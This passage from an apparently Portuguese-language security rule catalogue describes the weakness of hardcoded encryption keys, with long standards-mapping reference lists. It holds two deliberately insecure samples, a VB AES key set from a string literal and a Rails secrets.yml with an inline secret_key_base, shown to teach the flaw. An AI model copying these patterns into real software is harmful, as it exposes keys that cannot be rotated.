[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[15] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[17] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[18] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[19] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[21] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[36] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 798
[37] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 798
[38] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II
[60] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.regex.universal.key_management_hardcoded_encryption_key
Abstract
Chaves de criptografia embutidas em código podem comprometer a segurança de uma maneira que não é fácil de remediar.
Explanation
Nunca é uma boa ideia inserir uma chave de criptografia em código fixo, pois isso permite que todos os desenvolvedores do projeto a visualizem, além de também dificultar extremamente a correção do problema. Depois que o código está em produção, é necessário um pacote de software para alterar a chave de criptografia. Se a conta protegida pela chave de criptografia for comprometida, os proprietários do sistema deverão escolher entre a segurança e a disponibilidade.

Exemplo 1: O seguinte código usa uma chave de criptografia inserida em código fixo:


...
Dim encryptionKey As String
Set encryptionKey = "lakdsljkalkjlksdfkl"
Dim AES As New System.Security.Cryptography.RijndaelManaged
On Error GoTo ErrorHandler
AES.Key = System.Text.Encoding.ASCII.GetBytes(encryptionKey)
...
Exit Sub
...


Qualquer pessoa com acesso ao código tem acesso à chave de criptografia. Depois que o aplicativo for distribuído, não será mais possível alterar a chave de criptografia, a não ser que um patch seja aplicado a esse programa. Um funcionário com acesso a essas informações pode usá-las para invadir o sistema. Se os invasores tivessem acesso ao executável do aplicativo, eles poderiam extrair o valor da chave de criptografia.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 321
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[9] Standards Mapping - FIPS200 IA
[10] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[15] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[17] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[18] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[19] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[21] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[36] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 798
[37] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 798
[38] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II
[60] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.vb.key_management_hardcoded_encryption_key
Abstract
Chaves de criptografia embutidas em código podem comprometer a segurança de uma maneira que não é fácil de remediar.
Explanation
Nunca codifique uma chave de criptografia porque isso torna a chave de criptografia visível para todos os desenvolvedores do projeto e torna a correção do problema extremamente difícil. Alterar a chave de criptografia após o código estar em produção requer uma correção do software. Se a conta que a chave de criptografia protege for comprometida, o proprietário do sistema deverá escolher entre a segurança e a disponibilidade do sistema.

Exemplo 1: O exemplo a seguir mostra uma chave de criptografia dentro do arquivo secrets.yml de uma configuração do Ruby on Rails:


...
production:
secret_key_base: 0ab25e26286c4fb9f7335947994d83f19861354f19702b7bbb84e85310b287ba3cdc348f1f19c8cdc08a7c6c5ad2c20ad31ecda177d2c74aa2d48ec4a346c40e
...


Qualquer pessoa com acesso ao código pode ver a chave de criptografia. Depois que o aplicativo for distribuído, não será mais possível alterar a chave de criptografia, a não ser que um patch seja aplicado ao programa. Um funcionário com acesso a essas informações pode usá-las para invadir o sistema. Qualquer invasor com acesso ao executável do aplicativo pode extrair o valor da chave de criptografia.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 321
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[9] Standards Mapping - FIPS200 IA
[10] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[15] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[17] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[18] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[19] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[21] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[36] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 798
[37] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 798
[38] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II
[60] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.yaml.key_management_hardcoded_encryption_key